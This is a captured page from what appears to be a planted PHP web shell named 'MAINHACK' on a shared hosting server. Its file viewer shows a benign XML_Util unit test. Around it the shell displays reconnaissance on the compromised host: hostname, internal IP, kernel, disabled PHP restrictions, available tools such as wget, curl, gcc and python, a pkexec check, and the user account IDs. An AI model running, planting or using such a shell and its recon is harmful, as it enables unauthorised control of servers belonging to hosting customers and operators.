[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: testBasic_attributesToString.phpt
File is not writable. Editing disabled.
--TEST-- XML_Util::attributesToString() basic tests --CREDITS-- Chuck Burgess <ashnazg@php.net> # created for v1.2.0a1 2008-05-04 --FILE-- <?php require_once 'XML' . DIRECTORY_SEPARATOR . 'Util.php'; echo '=====XML_Util::attributesToString() basic tests=====' . PHP_EOL . PHP_EOL; $att = array("foo" => "bar", "boo" => "baz"); $sort1 = array( 'multiline' => true, 'indent' => '----', 'linebreak' => "^", 'entities' => XML_UTIL_ENTITIES_XML, 'sort' => true ); $sort2 = array( 'multiline' => true, 'indent' => '----', 'linebreak' => "^", 'entities' => XML_UTIL_ENTITIES_XML, ); echo "TEST: basic usage" . PHP_EOL; echo XML_Util::attributesToString($att) . PHP_EOL . PHP_EOL; echo "TEST: explicit \$sort = true" . PHP_EOL; echo XML_Util::attributesToString($att, true) . PHP_EOL . PHP_EOL; echo "TEST: explicit \$sort = false" . PHP_EOL; echo XML_Util::attributesToString($att, false) . PHP_EOL . PHP_EOL; echo "TEST: explicit \$multiline = false" . PHP_EOL; echo XML_Util::attributesToString($att, true, false) . PHP_EOL . PHP_EOL; echo "TEST: explicit \$multiline = true" . PHP_EOL; echo XML_Util::attributesToString($att, true, true) . PHP_EOL . PHP_EOL; echo "TEST: explicit \$indent = ' ' (8 spaces)" . PHP_EOL; echo XML_Util::attributesToString($att, true, true, ' ') . PHP_EOL . PHP_EOL; echo "TEST: explicit \$linebreak = '^' (some dummy char)" . PHP_EOL; echo XML_Util::attributesToString($att, true, true, '^') . PHP_EOL . PHP_EOL; echo "TEST: passing \$sort array of options that includes 'sort'" . PHP_EOL; echo XML_Util::attributesToString($att, $sort1) . PHP_EOL . PHP_EOL; echo "TEST: passing \$sort array of options that doesn't include 'sort'" . PHP_EOL; echo XML_Util::attributesToString($att, $sort2) . PHP_EOL . PHP_EOL; echo "TEST: do not replace entities" . PHP_EOL; $arr = array("foo" => "b@&r", "boo" => "b><z"); echo XML_Util::attributesToString($arr, true, false, ' ', PHP_EOL, XML_UTIL_ENTITIES_NONE) . PHP_EOL . PHP_EOL; echo "TEST: replace all XML entities" . PHP_EOL; $arr = array("foo" => "b@&r", "boo" => "b><z"); echo XML_Util::attributesToString($arr, true, false, ' ', PHP_EOL, XML_UTIL_ENTITIES_XML) . PHP_EOL . PHP_EOL; echo "TEST: replace only required XML entities" . PHP_EOL; $arr = array("foo" => "b@&r", "boo" => "b><z"); echo XML_Util::attributesToString($arr, true, false, ' ', PHP_EOL, XML_UTIL_ENTITIES_XML_REQUIRED) . PHP_EOL . PHP_EOL; echo "TEST: replace HTML entities" . PHP_EOL; $arr = array("foo" => "b@&r", "boo" => "b><z"); echo XML_Util::attributesToString($arr, true, false, ' ', PHP_EOL, XML_UTIL_ENTITIES_HTML) . PHP_EOL . PHP_EOL; ?> --EXPECT-- =====XML_Util::attributesToString() basic tests===== TEST: basic usage boo="baz" foo="bar" TEST: explicit $sort = true boo="baz" foo="bar" TEST: explicit $sort = false foo="bar" boo="baz" TEST: explicit $multiline = false boo="baz" foo="bar" TEST: explicit $multiline = true boo="baz" foo="bar" TEST: explicit $indent = ' ' (8 spaces) boo="baz" foo="bar" TEST: explicit $linebreak = '^' (some dummy char) boo="baz" ^foo="bar" TEST: passing $sort array of options that includes 'sort' boo="baz" ----foo="bar" TEST: passing $sort array of options that doesn't include 'sort' boo="baz" ----foo="bar" TEST: do not replace entities boo="b><z" foo="b@&r" TEST: replace all XML entities boo="b><z" foo="b@&r" TEST: replace only required XML entities boo="b><z" foo="b@&r" TEST: replace HTML entities boo="b><z" foo="b@&r"
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A